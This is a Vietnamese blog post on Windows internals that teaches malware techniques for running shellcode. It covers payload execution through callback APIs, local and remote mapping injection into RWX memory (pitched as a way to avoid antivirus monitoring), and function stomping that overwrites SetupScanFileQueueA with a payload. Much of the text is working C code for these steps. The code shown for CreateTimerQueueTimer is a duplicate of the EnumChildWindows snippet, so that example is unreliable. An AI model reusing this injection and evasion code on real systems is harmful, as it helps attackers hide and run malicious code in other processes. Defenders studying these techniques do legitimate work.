1290 words
6 minutes
Windows Internals: A Look at Callback Functions

Callback functions là một khái niệm quan trọng trong nội bộ Windows, thường được sử dụng để xử lý các sự kiện hoặc thực thi hành động khi một điều kiện nhất định được đáp ứng. Các hàm này là công cụ mạnh mẽ trong các thao tác ở cấp hệ thống và cũng có thể bị lạm dụng cho mục đích xấu. Trong bài viết này, chúng ta sẽ tìm hiểu cách callback functions hoạt động, cách chúng có thể bị lợi dụng, và giới thiệu các kỹ thuật như mapping injection và function stomping.

Callback Function là gì?#

Callback function là một hàm được truyền vào như một đối số của một hàm khác, với mục đích được gọi lại sau này khi một điều kiện hoặc sự kiện nhất định xảy ra. Các hàm này rất hữu ích trong việc quản lý các thao tác bất đồng bộ hoặc lập trình theo sự kiện. Ví dụ, callback có thể được sử dụng để xử lý các sự kiện hệ thống, xử lý thông điệp hoặc quản lý các tác vụ bất đồng bộ.

Tận dụng Callback Functions#

Mặc dù callback functions là phần không thể thiếu trong hoạt động bình thường của chương trình, nhưng chúng cũng có thể bị lợi dụng để thực thi mã độc. Thay vì sử dụng các phương pháp truyền thống như CreateThread hoặc các kỹ thuật liên quan đến luồng khác, callback functions có thể được sử dụng để kích hoạt việc thực thi mã độc. Điều này đặc biệt nguy hiểm vì callback functions thường xuyên xuất hiện trong nhiều thao tác hệ thống, mở ra cơ hội cho kẻ tấn công lợi dụng. Sau đây chúng ta sẽ tìm hiểu vài api phổ biến có tính năng callback.

Sử Dụng CreateTimerQueueTimer#

Hàm CreateTimerQueueTimer tạo một bộ đếm thời gian và thêm nó vào hàng đợi thời gian của hệ thống. Khi bộ đếm thời gian hết hạn, nó sẽ gọi callback function. Bằng cách thiết lập callback function để thực thi payload, kẻ tấn công có thể kích hoạt việc chạy mã độc. Dưới đây là cấu trúc cơ bản của CreateTimerQueueTimer:

BOOL CreateTimerQueueTimer(
  [out]          PHANDLE             phNewTimer,
  [in, optional] HANDLE              TimerQueue,
  [in]           WAITORTIMERCALLBACK Callback,      // đây
  [in, optional] PVOID               Parameter,
  [in]           DWORD               DueTime,
  [in]           DWORD               Period,
  [in]           ULONG               Flags
);

Ví dụ sử dụng để thực thi payload:

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng EnumChildWindows#

Hàm EnumChildWindows cho phép ứng dụng liệt kê tất cả các cửa sổ con của một cửa sổ cha được chỉ định. Hàm này áp dụng callback function vào mỗi cửa sổ con. Bằng cách thiết lập callback để thực thi payload, mã độc có thể được chạy cho mỗi cửa sổ.

BOOL EnumChildWindows(
  [in, optional] HWND        hWndParent,
  [in]           WNDENUMPROC lpEnumFunc,    // đây
  [in]           LPARAM      lParam
);

Ví dụ:

if (!EnumChildWindows(NULL, (WNDENUMPROC)Payload, NULL)) {
    printf("[!] EnumChildWindows Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng EnumUILanguagesW#

Hàm EnumUILanguagesW được sử dụng để liệt kê tất cả các ngôn ngữ giao diện người dùng đã cài đặt trên hệ thống, gọi callback function cho mỗi ngôn ngữ. Hàm này cũng có thể bị lợi dụng bằng cách thiết lập callback để thực thi payload.

BOOL EnumUILanguagesW(
  [in] UILANGUAGE_ENUMPROCW lpUILanguageEnumProc,     // đây
  [in] DWORD                dwFlags,
  [in] LONG_PTR             lParam
);

Ví dụ sử dụng:

if (!EnumUILanguagesW((UILANGUAGE_ENUMPROCW)Payload, MUI_LANGUAGE_NAME, NULL)) {
    printf("[!] EnumUILanguagesW Failed With Error : %d \n", GetLastError());
    return -1;
}

Sử Dụng VerifierEnumerateResource#

Hàm VerifierEnumerateResource được sử dụng để liệt kê các tài nguyên trong một module. Khi bị lạm dụng, nó có thể được khai thác để chạy một payload. Hàm này yêu cầu module phải được tải với LoadLibraryGetProcAddress, và cho phép bạn kiểm tra tài nguyên heap.

Ví dụ:

HMODULE hModule = NULL;
fnVerifierEnumerateResource pVerifierEnumerateResource = NULL;

hModule = LoadLibraryA("verifier.dll");
if (hModule == NULL) {
    printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
    return -1;
}

pVerifierEnumerateResource = GetProcAddress(hModule, "VerifierEnumerateResource");
if (pVerifierEnumerateResource == NULL) {
    printf("[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    return -1;
}

// Chạy payload bằng cách thiết lập cờ AvrfResourceHeapAllocation
pVerifierEnumerateResource(GetCurrentProcess(), NULL, AvrfResourceHeapAllocation, (AVRF_RESOURCE_ENUMERATE_CALLBACK)Payload, NULL);

Mapping Injection#

Mapping injection là một kỹ thuật mà trong đó bộ nhớ được ánh xạ vào không gian địa chỉ của một process. Kỹ thuật này ít bị phát hiện hơn so với các phương pháp cấp phát bộ nhớ truyền thống, chẳng hạn như VirtualAlloc, vì chúng dễ bị phần mềm diệt virus theo dõi.

Mapping Injection Nội Bộ#

Dưới đây là cách bạn có thể tiêm một payload vào bộ nhớ sử dụng CreateFileMappingMapViewOfFile:

BOOL LocalMapInject(IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapAddress = NULL;

    // Tạo file mapping với quyền RWX
    hFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ payload vào bộ nhớ
    pMapAddress = MapViewOfFile(hFile, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sPayloadSize);
    if (pMapAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Sao chép payload vào bộ nhớ đã ánh xạ
    memcpy(pMapAddress, pPayload, sPayloadSize);

_EndOfFunction:
    *ppAddress = pMapAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

Remote Mapping Injection#

Đối với việc tiêm từ xa, quá trình tương tự, nhưng bạn sẽ ánh xạ bộ nhớ vào không gian địa chỉ của remote process.

BOOL RemoteMapInject(IN HANDLE hProcess, IN PBYTE pPayload, IN SIZE_T sPayloadSize, OUT PVOID* ppAddress) {
    BOOL bSTATE = TRUE;
    HANDLE hFile = NULL;
    PVOID pMapLocalAddress = NULL, pMapRemoteAddress = NULL;

    // Tạo file mapping
    hFile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sPayloadSize, NULL);
    if (hFile == NULL) {
        printf("[!] CreateFileMapping Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    // Ánh xạ bộ nhớ cục bộ và sao chép payload
    pMapLocalAddress = MapViewOfFile(hFile, FILE_MAP_WRITE, NULL, NULL, sPayloadSize);
    if (pMapLocalAddress == NULL) {
        printf("[!] MapViewOfFile Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }
    memcpy(pMapLocalAddress, pPayload, sPayloadSize);

    // Ánh xạ payload vào không gian địa chỉ của tiến trình từ xa
    pMapRemoteAddress = MapViewOfFile2(hFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pMapRemoteAddress == NULL) {
        printf("[!] MapViewOfFile2 Failed With Error : %d \n", GetLastError());
        bSTATE = FALSE; goto _EndOfFunction;
    }

    printf("[+] Remote Mapping Address : 0x%p \n", pMapRemoteAddress);

_EndOfFunction:
    *ppAddress = pMapRemoteAddress;
    if (hFile)
        CloseHandle(hFile);
    return bSTATE;
}

Function Stomping Injection#

Function stomping là một kỹ thuật trong đó bộ nhớ của một hàm hoặc cấu trúc dữ liệu bị ghi đè bằng dữ liệu mới. Kỹ thuật này có thể được sử dụng để tiêm payload vào một tiến trình bằng cách trực tiếp thay đổi các địa chỉ hàm.

Chèn DLL vào Binary#

Thay vì sử dụng LoadLibraryGetProcAddress, bạn có thể liên kết tĩnh một DLL vào binary của bạn và chèn một payload vào trong đó.

#pragma comment (lib, "Setupapi.lib") // Thêm "setupapi.dll" vào Import Address Table
int main() {
    HANDLE hThread = NULL;
    printf("[+] Address Of \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();

    if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) {
        return -1;
    }

    printf("[+] DONE \n");

    printf("[#] Press <Enter> To Run The Payload ... ");
    getchar();

    hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
    if (hThread != NULL)
        WaitForSingleObject(hThread, INFINITE);

    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

Kết Luận#

Trong bài viết này, chúng ta đã khám phá cách mà callback functions hoạt động trong nội bộ Windows và cách chúng có thể bị lạm dụng để thực thi payload. Chúng ta cũng đã thảo luận các kỹ thuật như mapping injection và function stomping, là các phương pháp mà kẻ tấn công có thể sử dụng để tiêm payload vào tiến trình từ xa hoặc cục bộ.

Windows Internals: A Look at Callback Functions
https://fuwari.vercel.app/posts/callbackfunction/
Author
Yasna
Published at
2023-07-09